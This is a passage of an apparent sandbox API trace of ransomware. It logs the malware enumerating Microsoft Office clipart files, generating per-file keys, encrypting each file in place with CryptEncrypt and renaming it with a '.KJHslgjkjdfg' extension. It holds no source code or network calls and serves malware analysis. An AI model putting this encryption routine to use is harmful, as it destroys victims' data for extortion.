[0196.288] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x31c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.288] SetEndOfFile (hFile=0x130) returned 1 [0196.291] GetProcessHeap () returned 0x990000 [0196.291] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.291] GetProcessHeap () returned 0x990000 [0196.291] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.291] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf.kjhslgjkjdfg")) returned 1 [0196.292] CloseHandle (hObject=0x130) returned 1 [0196.292] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x560, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0156537.WMF", cAlternateFileName="")) returned 1 [0196.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.295] GetProcessHeap () returned 0x990000 [0196.295] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.295] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.295] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.295] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.295] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.295] GetProcessHeap () returned 0x990000 [0196.295] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.295] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.295] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.295] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.298] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.298] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.298] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.298] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.298] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.298] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.298] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.298] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.298] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x560, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x560, lpOverlapped=0x0) returned 1 [0196.299] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x560, dwBufLen=0x560 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x560) returned 1 [0196.299] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.299] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x560, lpOverlapped=0x0) returned 1 [0196.299] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.299] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.299] SetEndOfFile (hFile=0x130) returned 1 [0196.302] GetProcessHeap () returned 0x990000 [0196.302] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.302] GetProcessHeap () returned 0x990000 [0196.302] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.302] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf.kjhslgjkjdfg")) returned 1 [0196.303] CloseHandle (hObject=0x130) returned 1 [0196.303] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb66e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0157167.WMF", cAlternateFileName="")) returned 1 [0196.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.305] GetProcessHeap () returned 0x990000 [0196.305] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.305] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.305] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.305] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0196.307] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.307] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.307] GetProcessHeap () returned 0x990000 [0196.307] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.307] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.307] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.308] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.308] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.308] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.308] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.308] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.308] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.308] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.308] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.308] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.308] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb66e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb66e, lpOverlapped=0x0) returned 1 [0196.310] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb670, dwBufLen=0xb670 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb670) returned 1 [0196.310] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.311] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb670, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb670, lpOverlapped=0x0) returned 1 [0196.311] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.311] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.311] SetEndOfFile (hFile=0x130) returned 1 [0196.314] GetProcessHeap () returned 0x990000 [0196.314] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.314] GetProcessHeap () returned 0x990000 [0196.314] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.314] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf.kjhslgjkjdfg")) returned 1 [0196.315] CloseHandle (hObject=0x130) returned 1 [0196.315] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x54d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0157177.WMF", cAlternateFileName="")) returned 1 [0196.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.316] GetProcessHeap () returned 0x990000 [0196.316] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.316] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.316] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.317] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0196.319] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.319] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.319] GetProcessHeap () returned 0x990000 [0196.319] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.319] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.319] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.319] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.320] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.320] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.320] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.320] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.320] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.320] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.320] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.320] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.320] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x54d4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x54d4, lpOverlapped=0x0) returned 1 [0196.321] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x54e0, dwBufLen=0x54e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x54e0) returned 1 [0196.322] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.322] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x54e0, lpOverlapped=0x0) returned 1 [0196.322] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.322] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x55b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.322] SetEndOfFile (hFile=0x130) returned 1 [0196.325] GetProcessHeap () returned 0x990000 [0196.325] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.325] GetProcessHeap () returned 0x990000 [0196.325] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.325] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf.kjhslgjkjdfg")) returned 1 [0196.327] CloseHandle (hObject=0x130) returned 1 [0196.327] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x45f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0157191.WMF", cAlternateFileName="")) returned 1 [0196.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.328] GetProcessHeap () returned 0x990000 [0196.328] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.328] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.328] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.328] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.330] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.330] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.330] GetProcessHeap () returned 0x990000 [0196.330] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.330] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.330] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.330] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.330] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.330] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.330] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.330] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.331] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.331] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.331] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.331] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.331] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x45f8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x45f8, lpOverlapped=0x0) returned 1 [0196.332] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4600, dwBufLen=0x4600 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4600) returned 1 [0196.332] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.332] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4600, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4600, lpOverlapped=0x0) returned 1 [0196.332] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.332] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x46d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.332] SetEndOfFile (hFile=0x130) returned 1 [0196.334] GetProcessHeap () returned 0x990000 [0196.335] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.335] GetProcessHeap () returned 0x990000 [0196.335] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.335] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf.kjhslgjkjdfg")) returned 1 [0196.336] CloseHandle (hObject=0x130) returned 1 [0196.336] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c84, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0157831.WMF", cAlternateFileName="")) returned 1 [0196.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.337] GetProcessHeap () returned 0x990000 [0196.337] RtlAllocateHeap (HeapHandle=0x990000, 